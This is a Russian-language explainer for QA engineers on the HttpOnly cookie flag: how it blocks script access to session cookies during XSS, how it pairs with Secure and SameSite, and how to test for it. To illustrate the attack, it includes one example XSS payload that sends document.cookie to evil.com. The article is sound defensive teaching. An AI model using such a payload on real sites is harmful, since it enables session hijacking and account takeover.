Для чего нужнен HttpOnly

Назначение и роль атрибута HttpOnly в веб-безопасности

Атрибут HttpOnly — это специальный флаг, устанавливаемый для файлов cookie (куки) при их создании сервером. Его основное предназначение — критически важная защита от одной из наиболее распространённых и опасных атак на веб-приложения: межсайтового скриптинга (XSS).

Механизм работы и принцип защиты

Когда сервер отправляет браузеру куку с флагом HttpOnly, он даёт браузеру строгую инструкцию: «Эта кука доступна только для протокола HTTP (и HTTPS), и её нельзя читать или модифицировать с помощью клиентских скриптов (JavaScript)». Технически это выглядит так в заголовке ответа сервера:

Set-Cookie: sessionId=abc123xyz; HttpOnly; Secure; SameSite=Strict

• sessionId=abc123xyz — имя и значение куки.
• HttpOnly — ключевой флаг, запрещающий доступ из JavaScript.
• Secure — дополняет защиту, разрешая передачу куки только по HTTPS.
• SameSite=Strict — ещё один механизм защиты от CSRF-атак.

Что это означает на практике:

• Для злоумышленника: Если ему удаётся внедрить вредоносный скрипт на страницу через уязвимость XSS, этот скрипт не сможет выполнить команду document.cookie для доступа к защищённым кукам. Он не сможет ни прочитать их значение, ни украсть, ни подделать.
• Для легитимного JavaScript приложения: Весь код, работающий в браузере, также теряет доступ к этим кукам. Поэтому HttpOnly нельзя применять к тем кукам, которые должны быть прочитаны фронтендом (например, токен для вызова API из JS).
• Для браузера: Браузер продолжает автоматически прикреплять эти куки к каждому HTTP-запросу на соответствующий домен при навигации или вызовах API (fetch, XMLHttpRequest). Серверная часть приложения получает их как обычно.

Почему это критически важно? Защита сессионных токенов

Основные объекты защиты с помощью HttpOnly — это сессионные идентификаторы и токены аутентификации. Именно эти куки являются «ключами от королевства» в большинстве веб-приложений. Если злоумышленник завладеет значением сессионной куки, он может подделать сессию пользователя и получить несанкционированный доступ к его аккаунту и данным, выполняя действия от его имени.

Без HttpOnly:

1. На сайте существует XSS-уязвимость.
2. Злоумышленник заставляет жертву выполнить скрипт: <script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>.
3. Скрипт передаёт все куки, включая сессионный токен, на сервер злоумышленника.
4. Сессия скомпрометирована.

С HttpOnly:

1. Шаги 1 и 2 те же.
2. При попытке выполнить document.cookie скрипт получит пустую строку или только те куки, которые не помечены как HttpOnly. Сессионный токен в выдаче отсутствует.
3. Атака на кражу сессии блокирована на уровне браузера.

Практические рекомендации по использованию

• Всегда применяйте HttpOnly для кук, которые используются исключительно сервером: сессионные ID, JWT (если хранятся в куках), csrf_token (хотя для CSRF-токенов часто нужен доступ из JS, что требует иного подхода).
• Не используйте HttpOnly для кук, которые должны быть доступны клиентскому коду. Например, кука, хранящая предпочтения UI (тему интерфейса), должна быть доступна JavaScript для применения настроек.
• Комбинируйте с другими флагами безопасности. HttpOnly — это один слой защиты. Для максимальной безопасности его необходимо использовать вместе с:

    *   `Secure` — передача только по зашифрованному HTTPS-соединению.
    *   `SameSite` (предпочтительно `Strict` или `Lax`) — защита от атак типа **межсайтовая подделка запроса (CSRF)**.
    *   Правильно установленными `Domain` и `Path` для ограничения области видимости куки.

Вывод для QA Engineer

Для инженера по обеспечению качества понимание атрибута HttpOnly является обязательным. При тестировании безопасности веб-приложения (пентестах или аудитах) вы должны:

1. Проверять, установлен ли флаг HttpOnly для всех критичных с точки зрения безопасности кук (особенно сессионных). Это можно сделать во вкладке Application/Storage > Cookies в инструментах разработчика браузера (DevTools).
2. Убеждаться, что попытка доступа к таким кукам через console.log(document.cookie) в консоли браузера возвращает ожидаемый результат (отсутствие защищённых значений).
3. Понимать, что HttpOnly — не панацея. Он эффективно защищает от кражи кук через XSS, но не предотвращает саму XSS-атаку и не защищает от других векторов, таких как сетевой снифинг (здесь помогает Secure) или CSRF (здесь помогает SameSite). Поэтому защита должна быть многослойной.